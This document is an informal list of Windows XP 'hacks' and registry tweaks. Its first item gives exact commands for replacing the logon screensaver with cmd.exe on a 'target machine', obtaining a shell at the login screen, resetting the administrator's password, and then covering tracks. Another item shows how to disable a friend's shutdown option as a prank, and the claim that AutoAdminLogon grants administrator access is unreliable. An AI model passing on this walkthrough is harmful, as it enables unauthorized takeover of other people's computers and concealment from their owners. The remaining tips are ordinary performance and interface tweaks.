1)How to hack windows XP admin password

If you log into a limited account on your target machine and 
open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup
the command program and the screen saver file, then edits 
the settings so when the machine boots the screen saver you 
will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes
"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the 
password blah enter this

"net user Frank blah"
and this changes the password on franks machine to blah and 
your in.


Have fun

p.s: dont forget to copy the contents of temphack back into 
the system32 dir to cover tracks

 

2)Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your 
computer when they login in your absence. Well you can do it 
pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

3)Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows 
XP is not at all secure as multi-user operating system. Hacking
the system registry from any account having access to system 
registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

4)No Shutdown:
Wanna play with your friends by removing the shutdown option
from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer
"NoClose"="DWORD:1"

5)Menu Delays:

Another minor and easy tweak to remove any delay from menus
sliding out. For this you will need to use regedit (open regedit
 by going to Start -> Run..., then typing 'regedit' and pressing
 enter). The key you need to change is located in 
HKEY_CURRENT_USERControl PanelDesktop. The actual key is
 called MenuShowDelay - all you have to do is change the
 value to 0. Remember, you will have to re-boot your computer
 for this tweak to take effect.

6)GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to 
Start -> Run... and then type in 'gpedit.msc' and press enter.
This is effectively the Policies Editor, and it comes in handy 
often. For example, if you hate CD autoplay like I do and want 
to permanently disable it, you can use this tool to do so. Just 
run gpedit.msc, then go to Computer Configuration -> 
Administrative Templates -> System. In here you can see the 
value 'Turn Off Autoplay'. Right-click on it and then click 'Proper
ties'.

7)Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player
 on your system? Fair enough, but if you go to Add/Remove 
Programs in the Control Panel, by default none of Windows XP's
 'built in' programs are visible. it's fairly easy to change, though
... just open the file X:\Windows\inf\sysoc.inf (where X: is the 
drive letter where Windows XP is installed) in Notepad. You 
should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've
 taken the example of MSN Messenger - the program entry 
called 'msmsgs', third-last line. You can see the word 'hide' 
highlighted - this is the string which tells Windows not to 
display the component in the Add/Remove Programs list. Fix 
this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN 
Messenger in the Add/Remove Programs list. If you want to be
able to quickly view and remove all components, simply open 
the sysoc.inf file and do a global find and replace for the word ",
hide" and replace it with a single comma ",".

8)Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get 
message boxes telling you that a program is still running?
 Making it so that Windows automatically kills applications 
running is a snap. Simply navigate to the HKEY_CURRENT_USER
Control PanelDesktop directory in the Registry, then alter the
 key AutoEndTasks to the value 1.

9)Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing 
my head against the table waiting to view shares on other 
computers. Basically, when you connect to another computer
 with Windows XP, it checks for any Scheduled tasks on that 
computer - a fairly useless task, but one that can add up to 30 
seconds of waiting on the other end - not good! Fortunately, 
it's fairly easy to disable this process. First, navigate to 
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current 
Version/Explorer/RemoteComputer/NameSpace in the Registry. 
Below that, there should be a key called 
{D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this,
 and after a restart, Windows will no longer check for scheduled
 tasks - mucho performance improvement!

10)Create a Shortcut to Lock Your Computer 

Leaving your computer in a hurry but you don?t want to log off?
 You can double-click a shortcut on your desktop to quickly lock 
the keyboard and display without using CTRL+ALT+DEL or a 
screen saver. To create a shortcut on your desktop to lock 
your computer: Right-click the desktop. Point to New, and then
 click Shortcut. The Create Shortcut Wizard opens. In the text
 box, type the following: rundll32.exe user32.dll,LockWork
Station Click Next. Enter a name for the shortcut. You can call
 it "Lock Workstation" or choose any name you like. Click Finish. 
You can also change the shortcut's icon (my personal favorite 
is the padlock icon in shell32.dll). To change the icon: Right 
click the shortcut and then select Properties. Click the Shortcut
 tab, and then click the Change Icon button. In the Look for 
icons in this file text box, type: Shell32.dll. Click OK. Select 
one of the icons from the list and then click OK You could also
 give it a shortcut keystroke such CTRL+ALT+L. This would save
 you only one keystroke from the normal command, but it could
 be more convenient. 

11)Speed up Internet Explorer 6 Favorites 
For some reason, the Favorites menu in IE 6 seems to slow 
down dramatically sometimes--I've noticed this happens when 
you install Tweak UI 1.33, for example, and when you use the
 preview tip to speed up the Start menu. But here's a fix for the
 problem that does work, though it's unclear why: Just open a 
command line window (Start button -> Run -> cmd) and type
 sfc, then hit ENTER. This command line runs the System File 
Checker, which performs a number of services, all of which are 
completely unrelated to IE 6. But there you go: It works. 

12)Aspi

WinXP does not come with an Aspi layer. So far almost 90% of
 the problems with WinXP and CD burning software are Aspi 
layer problems. After installing WinXP, before installing any CD
 burning software do a few things first: 1. Open up "My
 computer" and right click on the CD Recorder. If your CD 
recorder was detected as a CD recorder there will be a tab 
called "Recording". On this tab uncheck ALL of the boxes. 
apply or OK out of it and close my computer. 2. Next install 
the standard Aspi layer for NT. Reboot when asked. That's is.
 after the reboot you can install any of the currently working
 CD recording applications with no problems. If using CD 
Creator do not install direct CD or Take two as they are 
currently incompatible but Roxio has promised a fix as soon 
as XP is released.
